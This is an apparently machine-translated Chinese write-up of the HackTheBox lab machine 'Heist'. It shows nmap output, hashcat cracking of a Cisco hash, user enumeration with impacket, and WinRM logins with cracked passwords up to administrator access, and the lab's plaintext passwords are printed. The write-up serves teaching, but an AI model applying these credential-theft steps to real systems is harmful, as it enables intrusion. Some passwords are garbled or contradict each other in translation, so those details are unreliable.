实战HackTheBox里的Heist
首要是运行Nmap来查找主机上正在运行的服务。
# Nmap 7.70 scan initiated Wed Aug 14 21:08:24 2019 as: nmap -A -p- -oN scan 10.10.10.149
Nmap scan report for 10.10.10.149
Host is up (0.031s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49668/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-08-14 21:11:09
|_ start_date: N/A
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 30.76 ms 10.10.12.1
2 30.86 ms 10.10.10.149
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 14 21:11:47 2019 -- 1 IP address (1 host up) scanned in 204.15 seconds
从输出中可以看到，我们有很多服务正在运行。我探索的第一个端口是80。我浏览到http://10.10.10.149，并看到以下内容：
当您选择以访客身份登录时，将显示一个称为危险的用户与支持管理员之间的聊天记录。危险已将以下cisco路由器配置附加到该消息。
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0Â mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh
从此配置文件中，我们可以收集2个用户名admin和rout3r。还有3个哈希。通过使用此网站，我们可以查找密码7的哈希值。秘密5散列需要破解。我是用hashcat针对rockyou单词表来做到这一点的。
james@james-PC:~/Downloads$ hashcat -a 0 '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' /home/james/Downloads/rockyou.txt -m 500 --force
$1$pdQG$o8nrSzsGXeaduXrjlvKc91:stealth1agent
Session..........: hashcat
Status...........: Cracked
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$pdQG$o8nrSzsGXeaduXrjlvKc91
Time.Started.....: Wed Aug 21 14:39:16 2019 (5 mins, 21 secs)
Time.Estimated...: Wed Aug 21 14:44:37 2019 (0 secs)
Guess.Base.......: File (/home/james/Downloads/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 9353 H/s (12.68ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 3543552/14344384 (24.70%)
Rejected.........: 0/3543552 (0.00%)
Restore.Point....: 3543040/14344384 (24.70%)
Candidates.#1....: steauar2 -> steakcheese
HWMon.Dev.#1.....: N/A
Started: Wed Aug 21 14:39:13 2019
Stopped: Wed Aug 21 14:44:37 2019
从输出中可以看到。已从哈希中恢复了密码secretth1agent。
接下来，我移至端口135。这正在运行msrpc，但需要重定向才能访问。我从impacket下载了一个名为lookupsid.py的脚本。这使您可以通过msrpc连接并枚举计算机上的用户。一番尝试和错误后，我发现我可以使用从端口80上的网页收集的用户名危险进行连接。并且密码被hashcat破解。
root@kali://root/Downloads# python lookupsid.py [email protected]
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
Password:
[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
root@kali://root/Downloads#
现在，我们还有3个用户。support ， Chase和Jason。然后，我继续查看端口5985。它正在运行名为winrm的服务。这用于Windows远程管理。可以使用winrm_shell.rb的工具在远程但是，这确实需要在用户名和密码变量中输入并能进行连接。通过更多的反复试验。尝试在上一步中找到的凭证的不同组合，我能够使用ruby脚本登录，并Q4)sJu\Y8qz*A3?d密码。用户可以从这里访问机器，并能够导航到Chase用户的桌面并捕获用户标志。
root@kali://root/Downloads# ruby winrm_shell.rb
PS > whoami
supportdesk\chase
PS > ls
Directory: C:\Users\Chase\Documents [40/1506]
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/21/2019 9:01 PM 605970 a.dmp
-a---- 8/21/2019 9:34 PM 562841 PowerUp.ps1
-a---- 8/21/2019 9:36 PM 73802 shell.exe
PS > pwd
Path
----
C:\Users\Chase\Documents
PS > cd ..
PS > ls
Directory: C:\Users\Chase
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 4/22/2019 7:14 AM 3D Objects
d-r--- 4/22/2019 7:14 AM Contacts
d-r--- 4/22/2019 6:10 PM Desktop
d-r--- 8/21/2019 9:36 PM Documents
d-r--- 4/22/2019 7:14 AM Downloads
d-r--- 4/22/2019 7:14 AM Favorites
d-r--- 4/22/2019 7:14 AM Links
d-r--- 4/22/2019 7:14 AM Music
d-r--- 4/22/2019 7:14 AM Pictures
d-r--- 4/22/2019 7:14 AM Saved Games
d-r--- 4/22/2019 7:14 AM Searches
d-r--- 4/22/2019 7:14 AM Videos
PS > cd Desktop
PS > ls
Directory: C:\Users\Chase\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/22/2019 9:08 AM 121 todo.txt
-a---- 4/22/2019 9:07 AM 32 user.txt
PS > more user.txt
[REDACTED]
接下来，我开始环顾机器，以寻找提升权限的方法。我导航到C：\ inetpub \ wwwroot以查找IIS服务器上托管的所有其他文件。我查看了login.php文件，发现其底部是SHA256哈希和电子邮件地址，用于登录网站时进行身份验证。
PS > ls
Directory: C:\inetpub\wwwroot
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/21/2019 5:41 PM attachments
d----- 4/21/2019 5:41 PM css
d----- 4/21/2019 5:41 PM images
d----- 4/21/2019 5:41 PM js
-a---- 4/21/2019 11:51 AM 1240 errorpage.php
-a---- 4/21/2019 11:33 AM 279 index.php
-a---- 4/22/2019 8:38 AM 3034 issues.php
-a---- 4/22/2019 6:48 AM 2657 login.php
PS > more login.php
</body>
<?php
session_start();
if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) {
if( $_REQUEST['login_username'] === '[email protected]' && hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') {
$_SESSION['admin'] = "valid";
header('Location: issues.php');
}
else
header('Location: errorpage.php');
}
else if( isset($_GET['guest']) ) {
if( $_GET['guest'] === 'true' ) {
$_SESSION['guest'] = "valid";
header('Location: issues.php');
}
}
?>
</html>
我将哈希值输入THIS网站以尝试查找其值并成功。返回密码4dD！5} x / re8] FBuZ。然后，我退出了powershell会话，并修改了winrm_shell.rb脚本以使用此密码以管理员身份登录。这已成功登录，我能够导航到Administrator用户上的Desktop并收集根标志。
root@kali://root/Downloads# ruby t.rb
PS > whoami
supportdesk\administrator
PS > ls
Directory: C:\Users\Administrator\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/22/2019 8:24 AM 343 chase.ps1
PS > pwd
Path
----
C:\Users\Administrator\Documents
PS > cd ../Desktop
PS > ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/22/2019 9:05 AM 32 root.txt
PS > more root.txt
[REDACTED]
PS >
关注：Hunter网络安全 获取更多资讯
网站：bbs.kylzrv.com
CTF团队：Hunter网络安全
文章：Xtrato
排版：Hunter-匿名者